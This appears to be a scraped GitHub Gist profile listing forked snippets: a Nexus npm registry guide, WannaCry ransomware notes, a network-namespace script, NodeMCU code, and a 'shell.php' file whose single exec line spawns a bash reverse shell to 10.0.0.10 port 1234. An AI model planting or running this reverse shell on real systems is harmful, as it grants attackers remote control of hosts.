Skip to content

Instantly share code, notes, and snippets.

View kheminw's full-sized avatar

K. kheminw

View GitHub Profile
@kheminw
kheminw / setup.md
Created July 5, 2022 09:32 — forked from shirakaba/setup.md
Configuring Nexus as a private registry for npm packages

Get the details to connect to your Nexus-managed npm repository

Note: Nexus group repositories (good example in this StackOverflow question) are out of this tutorial's scope. In any case, deployment to group repositories is currently still an open issue for Nexus 3 (and not intended ever to be implemented in Nexus 2). Thus, it is assumed that we'll push & pull to/from the same repository, and ignore the idea of groups hereon in.

  1. Ask your sysadmin for a username & password allowing you to log into your organistation's Nexus Repository Manager.

  2. Test the login credentials on the Nexus Repository manager at: http://localhost:8081/nexus/#view-repositories (localhost in our case is replaced by a static IP, and can only be connected to over VPN). If your organisation requires a VPN to connect to it, connect to that VPN before proceeding with this tutori

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

  • Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
  • Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
  • Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
  • Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
  • Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

@kheminw
kheminw / ns-inet.sh
Last active March 20, 2019 15:47 — forked from dpino/ns-inet.sh
Setup a network namespace with Internet access
#!/usr/bin/env bash
set -x
NS="ns1"
VETH="veth1"
VPEER="vpeer1"
VETH_ADDR="10.200.1.1"
VPEER_ADDR="10.200.1.2"
@kheminw
kheminw / shell.php
Created October 27, 2018 06:41 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@kheminw
kheminw / labproject.ino
Created December 24, 2017 14:39
NodeMCU to MicroGear
//NETPIE CONNECTION
#include <MicroGear.h>
#include <ESP8266WiFi.h>
//RFID PART
#include <SPI.h>
#include <MFRC522.h>
//CONNECT TO WEB PART
#include <MicroGear.h>
@kheminw
kheminw / nodemcu.cpp
Created December 16, 2017 07:38
NodeMCU UART Snippet
#include <SoftwareSerial.h>
SoftwareSerial mySerial(5, 4); // RX, TX
void setup() {
// put your setup code here, to run once:
Serial.begin(38400, SERIAL_8N1);
mySerial.begin(38400);
Serial.println("[NODE] Started");
// String mySerialStart = "[STM] Node is now connected to STM!\r\n";